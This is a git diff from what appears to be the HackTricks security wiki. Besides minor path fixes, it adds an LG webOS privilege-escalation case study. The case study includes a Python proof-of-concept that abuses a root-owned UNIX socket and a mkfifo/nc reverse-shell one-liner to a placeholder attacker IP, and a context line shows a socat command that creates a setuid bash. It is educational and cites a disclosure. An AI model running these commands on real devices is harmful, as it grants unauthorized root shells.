Merge pull request #1450 from HackTricks-wiki/update_LG_WebOS_TV_Path_Traversal__Authentication_Bypass__20251001_012659

LG WebOS TV Path Traversal, Authentication Bypass and Full D...

src/blockchain/smart-contract-security/mutation-testing-with-slither.md

@@ -1,6 +1,6 @@
 # Mutation Testing for Solidity with Slither (slither-mutate)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect.
 
@@ -123,4 +123,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con
 - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
 - [Slither (GitHub)](https://github.com/crytic/slither)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/socket-command-injection.md

@@ -43,6 +43,45 @@ unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python
 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
 ```
 
+## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
+
+Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.
+
+Observed pattern:
+- Connect to a root-owned socket (e.g., /tmp/remotelogger).
+- Create a thread and obtain its native thread id (TID).
+- Send the TID (packed) plus padding as a request; receive an acknowledgement.
+- Deliver a specific signal to that TID to trigger the privileged behaviour.
+
+Minimal PoC sketch:
+
+```python
+import socket, struct, os, threading, time
+# Spawn a thread so we have a TID we can signal
+th = threading.Thread(target=time.sleep, args=(600,)); th.start()
+ tid = th.native_id  # Python >=3.8
+s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+s.connect("/tmp/remotelogger")
+s.sendall(struct.pack('<L', tid) + b'A'*0x80)
+s.recv(4)  # sync
+os.kill(tid, 4)  # deliver SIGILL (example from the case)
+```
+
+To turn this into a root shell, a simple named-pipe + nc pattern can be used:
+
+```bash
+rm -f /tmp/f; mkfifo /tmp/f
+cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
+```
+
+Notes:
+- This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic.
+- Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers.
+
+## References
+
+- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
+
 {{#include ../../banners/hacktricks-training.md}}
 
 

src/pentesting-web/file-inclusion/README.md

@@ -744,6 +744,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 
+
 ## References
 
 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)